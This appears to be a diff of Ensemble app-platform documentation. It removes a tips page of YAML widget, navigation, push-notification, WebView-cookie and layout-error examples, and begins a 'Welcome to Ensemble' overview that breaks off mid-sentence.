- - -### Example 3: Open Map Application Based on Device - -This example shows how to conditionally open the map application based on the user's device (Android, iOS, or Web). - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - fontWeight: w300 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - executeConditionalAction: - conditions: - - if: ${device.platform == "ios"} - action: - openUrl: - url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies - - elseif: ${device.platform == 'android'} - action: - openUrl: - url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) - - elseif: ${device.platform == 'web'} - action: - openUrl: - url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) -``` -#### Action Output Screenshot: -
-
- Output Screenshot -

Output on Android

-
-
- Output Screenshot -

Output on Iphone

-
-
- -### Example 4: Dynamic Coordinates Input - -In this example, users can input their own coordinates and label, which will dynamically open the respective map application based on the user's device. - -#### UI Layout: - -```yaml -View: - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - label: Enter comma-separated Latitude and Longitude - id: mapsCoordinates - - TextInput: - label: Enter Label - id: mapslabel - - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) - - Row: - styles: - gap: 8 - crossAxis: center - children: - - Text: - text: "Sample Location: 38.7946,106.5348" - styles: - textStyle: - fontSize: 14 - fontWeight: w300 - - Icon: - name: locationArrow - library: fontAwesome - color: blue - size: 18 - onTap: - executeConditionalAction: - conditions: - - if: ${device.platform == "ios"} - action: - openUrl: - url: https://maps.apple.com/?ll=${mapsCoordinates.value}&q=${mapslabel.value} - - elseif: ${device.platform == 'android'} - action: - openUrl: - url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) - - elseif: ${device.platform == 'web'} - action: - openUrl: - url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) -``` - ---- - -# Using navigate Screen with BottomNavBar - -We can use [navigateScreen](#navigatescreen) for combining functionality of [BottomNavBar](#bottomnavbar) together with it for daily tasks like beside using BottomNavBar items to navigate across different screens, we can also make use of [navigateScreen](#navigatescreen) here to navigate across screen keeping the bottomNavBAr in place as well. Let us look at an example to make better sense of it. - -**Example** - -In this scenario we want to navigate to Profile screen using `Account` item in the bottomNavBar menu and also an icon in our `dashboard` screen. Given is code for different screen widgets `CustomHeader` for our screen header with an Profile Picture and [ViewGroup](#view-group) with bottomNavBar. - -**Explanation** - -- For each item in the menu we have used an expression which evaluates `selectedIndex` every time our screen re-renders ( it renders whenever user navigates from one screen to other screen using menu items ). -- Account item have `selectedIndex` of 4 as we are sending it as input from `navigateScreen` action in the `dashboard` screen's `CustomHeader` widget. -- So when we click on Profile Picture in the header for dashboard screen the bottomNavbar re-renders updating selectedIndex value which evaluates true for only `Account` item and thus we move to profile screen using both `Account` Item and the `Profile Picture` - -**Code** - -```yaml -CustomHeader: - body: - Row: - styles: - mainAxis: spaceBetween - crossAxis: center - backgroundColor: 0xff04010d - children: - - Markdown: - styles: - textStyle: - fontSize: 16 - color: white - text: Your Goals - - Image: - styles: - width: 40 - height: 40 - borderRadius: 40 - placeholderColor: transparent - source: ${auth.user.photo} - onTap: - navigateScreen: - name: App - inputs: - selectedIndex: 4 -``` - -ViewGroup with BottomNavBar - -```yaml -ViewGroup: - BottomNavBar: - styles: - backgroundColor: 0xEE000000 - floatingBackgroundColor: black - floatingIconColor: yellow - notchColor: black - selectedColor: 0xFF34CAF7 - color: 0xFF999999 - - items: - - label: Home - icon: - name: bar_chart_2_line - library: remix - page: Home - - - label: Learn - icon: - name: movie_line - library: remix - page: Insights - - - label: Advisors - icon: - name: customer_service_2_line - library: remix - page: Advisors - - - label: Account - icon: - name: account_circle_line - library: remix - page: Account - selected: "${selectedIndex == 4 ? true : false}" - - - icon: - name: flashlight_fill - library: remix - floating: true - floatingAlignment: center - floatingMargin: 0 - onTap: - navigateScreen: - name: ChatPage - inputs: - threadId: 0 - userId: "${ensemble.storage.userAccount != null ? ensemble.storage.userAccount.id : ''}" -``` - -![Alt text](public/images/tips/image-9.png) - -![Alt text](public/images/tips/image-10.png) - ---- - -# Dynamic Color Modification in JavaScript - -**Objective** - -To dynamically change the color of a Text widget based on a JavaScript variable. The goal is to customize the color property of the Text widget's style. - -To achieve this, consider the following steps: - -1. Access Text Widget: - Obtain a reference to the Text widget that you want to modify. In the provided example, it can be accessed using the identifier (id). - ```yaml - - Text: - text: Hi there! - styles: - textStyle: - fontSize: 24 - color: blue - id: helloUser - ``` - -2. Modify Color Property: - Directly modify the color property of the Text widget's style using the assigned identifier. - ```javascript - helloUser.color = 'red'; - ``` - ---- - -# Configuring BottomNavBar Icons - -**Objective** -To add a heart icon to a BottomNavBar item, ensuring correct rendering. If using a default icon, no additional library specification is needed; however, for non-default icons like Font Awesome, it's crucial to specify the library. - -To achieve this, consider the following steps: - -1. Default Icons: - If using default icons (e.g., "home," "search," "shopping_cart"), no library specification is required. Simply provide the icon name. - ```yaml - BottomNavBar: - styles: - backgroundColor: 0xFF1F2128 - items: - - label: Home - icon: search - screen: Home - ``` - -2. fontAwesome Icons: - For non-default icons, particularly those from Font Awesome, ensure to specify the library using the iconLibrary attribute. - ```yaml - BottomNavBar: - styles: - backgroundColor: 0xFF1F2128 - items: - - label: Favourite - icon: heart - screen: Home - iconLibrary: fontAwesome - ``` - -3. Active Icons: - If an active state icon is needed (e.g., a different icon when the item is selected), use the activeIcon attribute. - ---- - -# Invoke Haptics - -We can use the invokeHaptic action to provide haptic feedback in your app. This feature enhances the user experience by providing tactile responses for different interactions. - -The invokeHaptic action is utilized to trigger haptic feedback, and it supports various types such as heavyImpact, mediumImpact, lightImpact, and vibrate. -Buttons are used to demonstrate different haptic types, and the last button showcases using JavaScript code to invoke the lightImpact haptic. - -Please note that haptics will only work on native apps. - -invokeHaptic action is utilized to trigger haptic feedback, and it supports various types. -- Button: - label: Heavy Impact - onTap: - invokeHaptic: - type: heavyImpact - -Additionally "Vibrate" button demonstrates chaining actions by using the onComplete property to execute additional JavaScript code after the haptic feedback is played. -- Button: - label: Vibrate (Using onComplete action to chain) - onTap: - invokeHaptic: - type: vibrate - onComplete: - executeCode: - body: | - //@code - console.log("Vibrate Haptic played") - -Furthermore, the onTapHaptic property is used for the "Selection Click" button, demonstrating an alternative way to trigger haptic feedback. -- Button: - label: Selection Click (Using onTapHaptic property) - onTapHaptic: selectionClick - onTap: - executeCode: - body: | - //@code - console.log("Button Pressed") - ---- - -# Custom Lottie Animations with Events and Controls - -With features like onStart, onPause, onComplete, and control buttons, you can create interactive animations tailored to your application. - -The Lottie animations have events such as onForward, onReverse, onPause, and onComplete. Control buttons are provided to trigger these events dynamically. -- Lottie: - id: MyLottie - autoPlay: false - repeat: false - onForward: | - //@code - console.log("Forward"); - onReverse: | - //@code - console.log("Reverse"); - onPause: | - //@code - console.log("Pause"); - onComplete: | - //@code - console.log("Completed"); - source: https://assets6.lottiefiles.com/private_files/lf30_rnpgzd17.json - styles: - width: 400 - height: 200 - -- Button: - styles: - outline: true - borderColor: 0xffed5742 - borderRadius: 20 - backgroundColor: 0xffaad6de - labelStyle: - color: 0xffed5742 - label: Forward - onTap: | - //@code - console.log("Forward"); - MyLottie.forward(); - ---- - -# HTML Widget with maxLines Support and Enhanced Styling - -The HTML widget allows you to apply CSS-like styles to specific elements within the HTML content. Customize text color, font size, and font weight effortlessly using both CSS tags and the box wrapper, providing increased styling flexibility. - -The
with an id of "hello" and the

with an id of "tag2" are styled with various properties such as border, borderRadius, padding, color, fontWeight, backgroundColor, maxLines, and textOverflow. - -- Html: - id: myHtml - cssStyles: - - selector: "#hello" - properties: - border: 10px solid red - borderRadius: 10px - padding: 20px - - selector: "#tag2" - properties: - color: white - fontWeight: "900" - backgroundColor: red - maxLines: 2 - textOverflow: ellipsis - text: | -

-

Until recently, the prevailing view assumed lorem ipsum was born as a nonsense text. “It's not Latin, though it looks like it, and it actually says nothing,” Before & After magazine answered a curious reader, “Its ‘words’ loosely approximate the frequency with which letters occur in English, which is why at a glance it looks pretty real.”

- - As Cicero would put it, “Um, not so fast.” - - The placeholder text, beginning with the line “Lorem ipsum dolor sit amet, consectetur adipiscing elit”, looks like Latin because in its youth, centuries ago, it was Latin. - - Richard McClintock, a Latin scholar from Hampden-Sydney College, is credited with discovering the source behind the ubiquitous filler text. In seeing a sample of lorem ipsum, his interest was piqued by consectetur—a genuine, albeit rare, Latin word. Consulting a Latin dictionary led McClintock to a passage from De Finibus Bonorum et Malorum (“On the Extremes of Good and Evil”), a first-century B.C. text from the Roman philosopher Cicero. - - ---- - -# Push Notification - -## Setup -This guide will walk you through setting up iOS/Android push notifications for your Ensemble app. Before you begin, ensure your bundle ID is correct. Also ensure the `appId` under `ensemble.properties` has the same bundle ID. - -#### iOS Setup -An Apple developer account is required to setup push notification and deploy the app. Each account requires a single APNs certificate for push notifications that work across all your Apps. If you don't already have one, go to https://developer.apple.com/account/resources/authkeys/list. -- Create a new Key and select "Apple Push Notification service (APNs)". -- Download the key and save it in a secure location (you can only download it once). You will need this key to upload to Firebase. - -#### Setup Firebase -- Create a new Firebase project if not already created. Go to Project Settings. - - Under "General" tab, add an iOS or Android app, then download the `GoogleService-Info.plist` or `google-services.json` respectively. - - Under "Cloud Messaging" tab and inside "Apple app configuration", upload the APNs Authentication Key you created / downloaded earlier in your Apple developer account. - - Use the Key ID under the APNs key you created earlier. - - Use the Team ID from your Apple Developer account. - -### Setup Ensemble -- Open `/starter/lib/generated/ensemble_modules.dart` with an Editor and change `useNotifications` to true. -- open Xcode under `/starter/ios`. - - Under Signing & Capabilities, click on `+ Capability` button. - - Add `Push Notifications`. - - Add `Background Modes` and check `Remote notifications`, `Background fetch` and `Background processing`. - - drop "GoogleService-Info.plist" in ios/Runner -- Drop the `google-services.json` in `android/app` folder. - -### Testing notifications -- Firebase requires a device token to send notification to. For testing purpose you can retrieve the device token by using the following app definition. Upon running this screen, it will ask the user to authorize Notifications. Once authorized, the device token will be displayed. -```yaml -View: - onLoad: - requestNotificationAccess: - onAuthorized: |- - status.value = event.data.deviceToken; - - # if denied, you may want to take the user to another screen, - # explaining why notifications are needed with an option to - # take the user to Settings' Notification page. - onDenied: - navigateScreen: - name: Enable Notifications - - # Optional - set the header for the screen - header: - title: What's my device token - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: status -``` -- To send a test notification from Firebase, Go to "Messaging" and create your first campaign. - - Select `Firebase Notification messages`. - - Enter a notification text and click "Send test message". - - Enter the device token above and click "Test". - - You should be receiving a push notification - -### Update when token changes -- Firebase can occasionally assign a new device token. When that happens, Ensemble automatically save a copy of the latest token, accessible via `ensemble.device.deviceToken`. - -- To update your server with the latest token, you can usually add the logic inside your home screen (where the user has been authenticated). Below is a example: -```yaml -## Home screen: -View: - onLoad: - invokeAPI: - name: updateDeviceToken - -API: - updateDeviceToken: - url: - headers: - Authorization: Bearer - body: - newToken: ${ensemble.device.deviceToken} - - -``` - -## Handling Notifications -Ensemble provides multiple ways to handle notifications to suit your use cases. -1. **[Notification Handler](#creating-a-script-and-handler-function)**: Define a notification handler (see below) in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. -2. **[Navigating to a Screen](#navigating-to-a-screen)**: If a handler is not specified but you want to navigate to a screen upon the user tapping on the notification, simply provide either the screenId or screenName in the notification payload. -3. If neither of the above is specified, the app will simply open up the app (if it is currently not on the foreground). - -#### Creating a Script and Handler Function -Navigate to or create a script in the Scripts section. For example, you might have a script called Common. -In the script, create a function that will be called whenever a notification is received. For example: -```js -function handle_notification(notification) { - // Your notification handling logic here -} -``` -The notification parameter contains the message data in JSON format. - -Inside this function, you can: - -- Write your routing logic -- Access ensemble.storage -- Perform one action: navigation -To navigate, simply return the payload of a navigationScreen action. The framework will handle the navigation. - -Example: - -```js -function handle_notification(notification) { - console.log(notification); - - // Assuming the screen name is in the FCM data section - var payload = { - "name": notification['data']['screen'], - // You can also pass inputs that will be accessible on the destination screen - }; - - return payload; -} -``` -If you don't want to navigate, simply don't return anything. - -Marking the Function as a Notification Handler -To designate your function as the notification handler: - -- Go to `Settings` -> `Environment Variables` -- Add a new variable called `ensemble_notification_handler` -- Set its value to `scriptName.handlerName` -For our example, it would be `Common.handle_notification`. - -Once set, `Common.handle_notification` will be called every time a notification is received. - -#### Navigating to a Screen -Instead of creating a handler function in Javascript, you can specify the screenId or screenName in the notification payload. This will navigate to the specified screen when the user taps on the notification. - -Here is an example notification payload sent from the server. Note the screenId / screenName (you should specify one or the other, but not both) in the data section. -```yaml -{ - "token": "", - "notification": { - "title": "Hi from Ensemble", - "body": "Hello this is a sample notification" - }, - "apns": { - "payload": { - "aps": { - # update the badge count on iOS - "badge": 5 - } - } - }, - # custom data sent to Ensemble - "data": { - "screenId": "", - "screenName": "", - "hello": "world" - } -} -``` - -Upon receiving this notification, Ensemble will navigate to the screen specified, and pass along the notification title/body, along with the data payload to the screen. You can access this data in the screen using `notificationPayload.*`. Here is an example of the screen the notification will redirect to: -```yaml -View: - body: - Text: - text: |- - Notification redirected me here: - Notification title: ${notificationPayload.title} - Notification body: ${notificationPayload.body} - Notification payload: ${notificationPayload.data.hello} -``` - ---- - -# Using device width and height - -You have access to device width and height through: - -``` -device.width -device.height -``` - -You can use them to set width and height of a widget. Note that when doing calculations that might result in doubles, you must round the number. E.g. if you divide the width by two, on some devices, the result might be a double such as `190.5`. Use `Math.floor` to round it down to `190`. - - -```yaml -View: - body: - Column: - children: - - Shape: - type: rectangle - styles: - width: ${Math.floor(device.width / 2)} - height: ${Math.floor(device.height / 2)} - backgroundColor: yellow -``` - ---- - -### Using BottomSafeArea for Responsive Layouts - -In mobile devices, especially those with a 3-button navigation bar (as seen on some Android devices), extra space at the bottom can affect the layout of your UI elements. To ensure that your content doesn't get overlapped by the navigation bar, it’s important to adjust the height of your widgets to exclude the space taken by the navigation bar, known as the "Safe Area." - -EnsembleUI provides access to the device’s dimensions, including the height and the bottom safe area, allowing you to adjust your UI accordingly. By subtracting the bottom safe area from the total height, your layout dynamically adjusts, ensuring nothing overlaps with the navigation bar. Here's an example: - -```yaml -FlexColumn: - styles: - height: ${ device.height - device.safeAreaBottom } -``` - -#### Visual Example: - -Here are two screenshots that show the UI with and without the 3-button navigation bar, demonstrating how the layout adjusts dynamically. - - -
- - - - - -
- With 3-Button Navigation Bar - - With Swipe Navigation -
-
- - -By implementing this trick, you ensure that your app’s UI remains consistent and user-friendly across devices with different navigation styles. This technique prevents layout issues such as buttons being hidden or content being overlapped. - ---- - -# Floating Button - -[Kitchen Sink Example](https://studio.ensembleui.com/app/YQGEapU8rrEfhTJJLzz8/screen/Vz7SuvSTF8i5no7jKXGx) - -```yaml - Stack: - styles: - alignChildren: bottomLeft - children: - - ListView: - styles: - padding: 12 - gap: 10 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - openUrl: - url: "https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992" - - - Card - - Card - - Card - - Card - - - Button: - startingIcon: - name: plus - library: fontAwesome - styles: - padding: 20 25 - margin: 30 -``` - -### ListView: -- The `ListView` component displays a list of items on the screen. -- Additional styles are applied to customize its appearance, such as padding and gap between items. -- Within the `ListView`, various child components like `Text` and `Cards` are nested to represent different content sections. - -### Button (Floating Button): -- Positioned alongside the `ListView` within the `Stack`, the `Button` component serves as the floating action button. -- Its placement on the same level as the `ListView` within the `Stack` allows it to overlay the content, creating the floating effect. -- `Styles` are applied to adjust the button's appearance, including padding and margin for spacing. - -## Floating Button Implementation: -By placing the `Button` component within the `Stack` alongside the `ListView`, it remains visually separate from the list content and appears to float above it. This arrangement allows for easy access to important actions while maintaining a clean and organized UI layout. - ---- - -# Creating an Avatar - -Display basic avatars with various configurations such as size, shape, and borders. You can also display avatars with initials when an image source is unavailable. - -Use the `Avatar` component inside a `Flow` or other container. -Set the `source` attribute to the URL of the image for the avatar. - -```yaml -- Avatar: - source: https://mui.com/static/images/avatar/1.jpg -- Avatar: - source: https://mui.com/static/images/avatar/2.jpg - styles: - width: 50 - borderColor: grey -``` - -Use the `Stack` component to overlay additional elements on the `Avatar`. - -```yaml -- Stack: - children: - - Avatar: - source: https://mui.com/static/images/avatar/2.jpg - styles: - width: 80 - - Icon: - name: camera_line - library: remix - styles: - color: black -``` - ---- - -# Cookies in Webview - -Cookies usage in the EnsembleUI WebView is designed to enhance functionality, especially in native applications. The code snippet allows you to set cookies directly for the WebView, and it provides options to control navigation based on cookie conditions. - -## WebView Configuration -```yaml - WebView: - # Setting cookies for the WebView (only works for native applications) - cookies: ${cookiesArray} #assumes cookiesArray has been defined as a js variable elsewhere - - # Taking cookies from the set-cookies header directly (only works for native applications) - cookieHeader: ${cookieString} #assumes cookiesString has been defined as a js variable elsewhere - - id: webview - uri: https://ensembleui.com/ - styles: - height: 400 -``` -See [Webview in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) for the full example -### Cookies Setting -The `cookies` property allows you to set cookies directly for the WebView. The cookies are defined in the `cookiesArray` variable in the Global section. -The `cookieHeader` property takes cookies from the set-cookies header directly. The cookies are specified in the `cookieString` variable in the Global section. - -### Cookie Usage Example -```yaml - Global: |- - //@code - var cookieString = "CustomName=CustomValue; Max-Age=2592000; Domain=ensembleui.com; Path=/; Expires=Sun, 30 Nov 2024 14:08:46 GMT; HttpOnly=false; Secure=true; SameSite=None"; - - var cookiesArray = - [ - { - "name": "CustomName1", - "value": "CustomValue1", - "domain": ".ensembleui.com", - "path": "/", - "expires": 1727414966.520928, - "httpOnly": false, - "secure": false, - "sameSite": "None" - }, - { - "name": "CustomName2", - "value": "CustomValue2", - "domain": "github.com", - "path": "/", - "expires": 1727414959.838461, - "httpOnly": false, - "secure": false, - "sameSite": "None" - }, - ] -``` - -**Notes** -Cookie handling features are applicable only to native applications, not web applications. -Customize the cookies and cookie-related settings according to your application's requirements. -Understand the navigation control mechanism based on cookies, especially regarding its platform-specific behavior. - ---- - -One common theme in most apps is to show a progress dialog while an API is being processed on the server and close it when the response from the API has been received. This can easily be achieved as follows. Note the use of closeAllDialogs action. - -This method will not work when the progress container is being displayed on top of an existing dialog as closeAllDialogs will close the dialog under it as well which may not be what you desire. - -Lastly a dialog is not the samething as a modal that is displayed with navigateModalScreen. Calling closeAllDialogs does NOT close the modal that is opened with navigateModalScreen - - ```yaml - - Button: - label: Custom Progress - closes in 3 seconds - onTap: - showDialog: - widget: - ProgressDialog: - inputs: - userId: 1 - -ProgressDialog: - inputs: - - userId - onLoad: - invokeAPI: - name: getMockUser - inputs: - userId: ${userId} - onResponse: - #adding this timer here just so that we can delay closing the dialog - startTimer: - options: - startAfter: 3 - repeat: false - onTimer: - #all you need to do to close the dialog is to call closeAllDialogs action - closeAllDialogs: - body: - Column: - styles: - crossAxis: center - gap: 8 - children: - - Progress: - - Text: - text: Just a moment... - -API: - getMockUser: - inputs: - - userId - uri: https://dummyjson.com/users/${userId} - method: GET -``` -See [this](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2#) for a live example - ---- - -# General Color for All Buttons across an App - -Defining a theme for your app so as to save time for writing repeated code for text colors, backgroundColors etc is a better way for being efficient and avoiding DRY principle. EnsembleUI enables us to define our own App theme. You can find more about themes [here](). For now lets focus on achieving a general color our Button text. - -**Example** -Lets us consider an App where we want to use `0xFF308775` color for our all Buttons text. To achieve this we will use Theme option in ensemble studio. - -**Steps** - -1. Go to your App and click on **Theme** in left side panel. Here is hw it looks like. - -![Alt text](public/images/tips/image-4.png). - -2. Then use the code below to define [primary]() color for button color, focus color etc. - -**Code** - - - -```yaml -# define your app theme here -Colors: - primary: 0xFF308775 -``` - - - -**Output** - -![Alt text](public/images/tips/image-5.png) - - -Note: `Just like all other Web and Mobile technologies like Html, Css and Flutter etc if there is style done on a button it will be of higher priority then theme so to let theme work no need to style button color at all.` - ---- - -## Icon Without Label - -Since these kind of icons require us to utilize [custom widgets]() thus we will be using **customItem** widget for getting through it. It has two properties namely **widget** and **selectedWidget**. - -| Property | Type | Description | -| :------------- | :----- | :--------------------------------------------------------------------- | -| widget | widget | Used for inactive item. | -| selectedWidget | widget | Used for active item. | -| page | screen | Used for naming the screen to which we navigate once clicked upon item | - -We will utilize these two to achieve two different states for an icon active and inactive. Let us see the code example - -**Example** - - - -```yaml -ViewGroup: - BottomNavBar: - styles: - backgroundColor: white - color: 0xFF9DAEC1 - selectedColor: black - floatingBackgroundColor: 0xFF8A1C9D - floatingIconColor: white - notchColor: 0xFF0F0E1C - items: - - customItem: - widget: - IconWidget: - inputs: - icon: home - selectedWidget: - ActiveIconWidget: - inputs: - icon: home - page: Home - - - customItem: - widget: IconOnlyWidget - selectedWidget: ActiveIconOnlyWidget - page: Chat - - - customItem: - widget: - IconWidget: - inputs: - icon: account_balance_wallet - selectedWidget: - ActiveIconWidget: - inputs: - icon: account_balance_wallet - page: Home -``` - - - -**Output** -![Alt text](public/images/tips-and-tricks/image.png) -![Alt text](public/images/tips-and-tricks/image-1.png) - -**Note:**`BottomNavBar is used to navigate across whole application so it always has a separate screen where it comes under [View Group]() with all the items corresponding to each screen of your application.` - -**Explanation** - -Each item has two properties for active and inactive widget. [IconWidget](#iconwidget) and [IconOnlyWidget](#icononlywidget) represents the in-active state / screen while [ActiveIconWidget](#activeiconwidget) and [ActiveIconOnlyWidget](#activeicononlywidget) for active state / screen. Both of these are [custom widgets](). Its important to notice that [IconWidget](#iconwidget) and [ActiveIconWidget](#activeiconwidget) accept input as well which is the **name** of the **icon** we want to use. - -##### IconWidget - - - -```yaml -IconWidget: - inputs: - - icon - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: ${icon} - styles: - color: 0x70000000 - size: 28 -``` - - - -##### ActiveIconWidget - - - -```yaml -ActiveIconWidget: - inputs: - - icon - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: ${icon} - styles: - color: black - size: 28 -``` - - - -##### IconOnlyWidget - - - -```yaml -IconOnlyWidget: - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: star - styles: - backgroundColor: transparent - borderColor: black - color: yellow - borderRadius: 26 - padding: 10 - size: 18 -``` - - - -##### ActiveIconOnlyWidget - - - -```yaml -ActiveIconOnlyWidget: - body: - Column: - styles: { mainAxis: center, crossAxis: center } - children: - - Icon: - icon: star - styles: - backgroundColor: 0xFF004548 - color: yellow - borderRadius: 26 - padding: 12 - size: 26 -``` - - ---- - -## Profile Picture - -Its possible that you might need to have your profile picture as item to navigate to settings page or profile page etc, anyway whichever is your case here is how can do it with EnsembleUI. - -**Example** - -```yaml -ViewGroup: - BottomNavBar: - - customItem: - widget: CustomNavBarItemWithImage - selectedWidget: ActiveCustomNavBarItemWithImage - page: WeeklyScheduler -``` - -**Output** - -![Alt text](public/images/image-2.png) -![Alt text](public/images/image-3.png) -**Note:** `Its only specific item code, so as to stay relevant to our topic. You can see complete example` [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -##### CustomNavBarItemWithImage - - - -```yaml -CustomNavBarItemWithImage: - body: - Column: - styles: - padding: 2 8 - children: - - Image: - source: https://robohash.org/hicveldicta.png - styles: - width: 40 - height: 40 - borderRadius: 40 - borderWidth: 2 - borderColor: 0xFFDEDEDE -``` - - - -##### ActiveCustomNavBarItemWithImage - - - -```yaml -ActiveCustomNavBarItemWithImage: - body: - Column: - styles: - padding: 2 8 - children: - - Image: - source: https://robohash.org/hicveldicta.png - styles: - width: 40 - height: 40 - borderRadius: 40 - borderWidth: 2 - borderColor: black -``` - - ---- - -# Specify library icons for start and end - -**Objective** -To specify library icons for startingIcon and endingIcon on a Button - -To achieve this, consider the following steps: - -1. To specify library icons in shorthand notation for startingIcon and endingIcon on a Button, you can use the following syntax: - ```yaml - Button: - startingIcon: wifi - endingIcon: addressBook fontAwesome - ``` -2. Icons can be represented with a more verbose syntax on a Button using the following structure: - ```yaml - Button: - endingIcon: - name: addressBook - library: fontAwesome - size: 50 - color: red - ``` - ---- - -# No Bounded Width Error - -You get the error **"This widget requires a width."** on some widgets. - -e.g. TextInput, Map, ... - -## Reason - -A widget needs a width (and a height) to render. Some widgets can automatically calculate its width based on its content (e.g. Text) or from its children. Others widgets cannot (or should not e.g. what should the width of a Map widget be?). These widgets rely on the parent to constrain (give) them a dimension. - -## Solution - -1. Set an explicit width or max width on this widget (if applicable). -2. The parent needs to constrain the width of this widget. This can mean setting a width on the parent or force the parent to decide how to distribute the space. - - For **Row** parent: Row does not constrain the children's widths so consider using *FlexRow* instead. FlexRow will stretch to fill its parent and distribute the available space between its children. - - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionLeft / stackPositionRight attributes to constrain the children within this width. - - For **horizontal scrollable** parent: Scrollable parent allows its children to decide their own widths (so it knows how to scroll), meaning all children must be able to calculate their own widths. Consider changing your design if you run into this situation. - ---- - -# No Bounded Height Error - -You get the error **"This widget requires a height."** on some widgets - -e.g. Divider (vertical), Map, ... - -## Reason - -A widget needs a height (and a width) to render. Some widgets can automatically calculate its height based on its content (e.g. Text with lineHeight of 2) or from its children, while other widgets rely on the parent to constrain (give) them a dimension. - -## Solution - -1. Set an explicit height on this widget. -2. The parent needs to constrain the height of this widget. This can mean either setting a height on the parent or force the parent to decide how to distribute the vertical space. - - If the parent (or ancestor) is **Column**: Column does not constrain the children's heights so consider using *FlexColumn* instead. FlexColumn will stretch to fill its parent's height and distribute the available vertical space between its children. Be careful when using FlexColumn inside a scrollable ancestor (all widgets inside a scrollable ancestor need to be able to calculate their own heights). - - If the parent is **Row**: Row does constrain the height (crossAxis) so it alone is **not** a problem. However if the parent of the Row is another Column, the Column will not send the height constraint to the Row, which in turn cannot provide the constraint to its children. If your Row has at least 1 child that has a height, you may explicitly set the height constraint to the tallest child's height using `crossAxisConstraint: largestChild`. This will ensure all children without a height will get the height of the row. - - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionTop / stackPositionBottom attributes to constrain the children within this height. - - For **vertical scrollable** parent: Scrollable parent allows its children to decide their own height (so it knows how to scroll), meaning all children must be able to calculate their own heights. Consider changing your design if you run into this situation. - ---- - -# FlexRow No Bounded Width Error - -You get the error **"FlexRow requires a width for child distribution."** - -## Reason - -FlexRow's layout algorithm works by distributing a pre-defined width proportionally to all its children. If the FlexRow does not have an explicit width, its parent is required to constrain its width. This is a variation of [no-bounded-width](/pages/error/no-bounded-width.md) error, but specific to FlexRow. - -## Solution - -1. Set an explicit width on the FlexRow. This width will then be distributed proportionally to its children. -2. The parent (anywhere up the chain) needs to constrain the width of this widget. This can mean either setting a width on the parent or forcing the parent to decide how to distribute the horizontal space. - - For **horizontal Scrollable** ancestor: Having a FlexRow (stretching to the width of the parent) inside a horizontal Scrollable (width is calculated from all children combined) does not make sense. There has to be an explicit width set at least once in the hierarchy chain between the FlexRow and the Scrollable ancestor. - - For **Row** ancestor: Row does not constrain its children's widths (it lets the children dictate their own widths). For this reason, ensure there is a width set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexRow and the Row ancestor. - - Consider using all FlexRow(s) instead of Row up the ancestor chain to the root View. This ensure the screen width is distributed properly down to our last FlexRow. - - If you don't need FlexRow's distribution capability, considered using all Rows instead. Rows lay out their children with their requested widths in a left to right manner, with the ability to add horizontal scrollbar as needed. - ---- - -# FlexColumn No Bounded Height Error - -You get the error **"FlexColumn requires a height for child distribution."** - -## Reason - -FlexColumn's layout algorithm works by distributing a pre-defined height proportionally to all its children. If the FlexColumn does not have an explicit height, its parent is required to constrain its height. This is a variation of [no-bounded-height](/pages/error/no-bounded-height.md) error, but specific to FlexColumn. - -## Solution - -1. Set an explicit height on the FlexColumn. This height will then be distributed proportionally to its children. -2. The parent (anywhere up the chain) needs to constrain the height of this widget. This can mean either setting a height on the parent or forcing the parent to decide how to distribute the vertical space. - - For **vertical Scrollable** ancestor: Having a FlexColumn (stretch to parent) inside a vertical Scrollable (height is calculated from all children combined) does not make sense. There has to be an explicit height set at least once in the hierarchy chain between the FlexColumn and the Scrollable ancestor. - - For **Column** ancestor: Column does not constrain its children's heights (it lets the children dictate their own heights). For this reason, ensure there is a height set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexColumn and the Column ancestor. - - Consider using all FlexColumn(s) instead of Column up the ancestor chain to the root View. This ensure the screen height is distributed properly down to our last FlexColumn. - - If you don't need FlexColumn's distribution capability, considered using all Columns instead. Columns lay out their children with their requested heights in a top-down manner, with the ability to add vertical scrollbar as needed. - ---- +# Welcome to Ensemble + +## What is Ensemble? + +Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. + +With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: + +1. Ensemble apps are native to each platform: iOS, Android, and web. +2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. +3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about 